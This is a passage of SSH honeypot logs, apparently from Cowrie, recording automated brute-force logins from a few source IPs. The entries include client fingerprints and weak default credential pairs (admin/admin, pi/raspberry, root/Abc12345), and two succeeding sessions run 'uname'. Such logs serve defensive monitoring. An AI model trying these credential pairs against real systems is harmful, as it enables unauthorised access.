""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:16.837325Z","src_ip":"192.109.200.78","session":"4eecac4466f6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:17.090450Z","src_ip":"192.109.200.78","session":"4eecac4466f6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:17.604284Z","src_ip":"192.109.200.78","session":"4eecac4466f6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:17.607849Z","src_ip":"192.109.200.78","session":"4eecac4466f6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:17.728840Z","src_ip":"192.109.200.78","session":"4eecac4466f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:17.734363Z","src_ip":"192.109.200.78","session":"4eecac4466f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52970,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b53eec431b3","protocol":"ssh","message":"New connection: 192.109.200.78:52970 (10.17.0.5:22) [session: 9b53eec431b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:21.074754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:21.079546Z","src_ip":"192.109.200.78","session":"9b53eec431b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:21.161672Z","src_ip":"192.109.200.78","session":"9b53eec431b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:21.705232Z","src_ip":"192.109.200.78","session":"9b53eec431b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:22.792277Z","src_ip":"192.109.200.78","session":"9b53eec431b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52986,"dst_ip":"10.17.0.5","dst_port":22,"session":"a48494e09f8e","protocol":"ssh","message":"New connection: 192.109.200.78:52986 (10.17.0.5:22) [session: a48494e09f8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:25.203230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:25.208673Z","src_ip":"192.109.200.78","session":"a48494e09f8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:25.292492Z","src_ip":"192.109.200.78","session":"a48494e09f8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:25.705763Z","src_ip":"192.109.200.78","session":"a48494e09f8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:26.791642Z","src_ip":"192.109.200.78","session":"a48494e09f8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60372,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1a779151e6b","protocol":"ssh","message":"New connection: 192.109.200.78:60372 (10.17.0.5:22) [session: a1a779151e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:29.324222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:29.329102Z","src_ip":"192.109.200.78","session":"a1a779151e6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:29.417734Z","src_ip":"192.109.200.78","session":"a1a779151e6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"basit","password":"basit","message":"login attempt [basit/basit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:29.667689Z","src_ip":"192.109.200.78","session":"a1a779151e6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:30.752650Z","src_ip":"192.109.200.78","session":"a1a779151e6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60398,"dst_ip":"10.17.0.5","dst_port":22,"session":"30cce3934609","protocol":"ssh","message":"New connection: 192.109.200.78:60398 (10.17.0.5:22) [session: 30cce3934609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:33.352463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:33.461924Z","src_ip":"192.109.200.78","session":"30cce3934609","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:33.465406Z","src_ip":"192.109.200.78","session":"30cce3934609","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"zookeeper","password":"zookeeper","message":"login attempt [zookeeper/zookeeper] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:33.804862Z","src_ip":"192.109.200.78","session":"30cce3934609","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:34.011457Z","src_ip":"192.109.200.78","session":"30cce3934609","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:34.015553Z","src_ip":"192.109.200.78","session":"30cce3934609","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:34.103686Z","src_ip":"192.109.200.78","session":"30cce3934609","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:34.108425Z","src_ip":"192.109.200.78","session":"30cce3934609","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60418,"dst_ip":"10.17.0.5","dst_port":22,"session":"0194cb622f34","protocol":"ssh","message":"New connection: 192.109.200.78:60418 (10.17.0.5:22) [session: 0194cb622f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:38.540102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:38.545325Z","src_ip":"192.109.200.78","session":"0194cb622f34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:38.629882Z","src_ip":"192.109.200.78","session":"0194cb622f34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345","message":"login attempt [root/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:38.893457Z","src_ip":"192.109.200.78","session":"0194cb622f34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57408,"dst_ip":"159.203.135.109","dst_port":22,"session":"96dd1d58cf25","protocol":"ssh","message":"New connection: 159.203.92.129:57408 (159.203.135.109:22) [session: 96dd1d58cf25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:38.911583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:38.919089Z","src_ip":"159.203.92.129","session":"96dd1d58cf25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:38.923165Z","src_ip":"159.203.92.129","session":"96dd1d58cf25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc@123","message":"login attempt [admin/abc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:38.933765Z","src_ip":"159.203.92.129","session":"96dd1d58cf25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:39.939785Z","src_ip":"159.203.92.129","session":"96dd1d58cf25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:39.985020Z","src_ip":"192.109.200.78","session":"0194cb622f34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54508,"dst_ip":"10.17.0.5","dst_port":22,"session":"43289611fc71","protocol":"ssh","message":"New connection: 192.109.200.78:54508 (10.17.0.5:22) [session: 43289611fc71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:41.778029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:41.782634Z","src_ip":"192.109.200.78","session":"43289611fc71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:41.864657Z","src_ip":"192.109.200.78","session":"43289611fc71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:42.238435Z","src_ip":"192.109.200.78","session":"43289611fc71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:43.331586Z","src_ip":"192.109.200.78","session":"43289611fc71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54524,"dst_ip":"10.17.0.5","dst_port":22,"session":"286f4af0c27a","protocol":"ssh","message":"New connection: 192.109.200.78:54524 (10.17.0.5:22) [session: 286f4af0c27a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:45.759789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:45.764890Z","src_ip":"192.109.200.78","session":"286f4af0c27a","protocol":"ssh"}
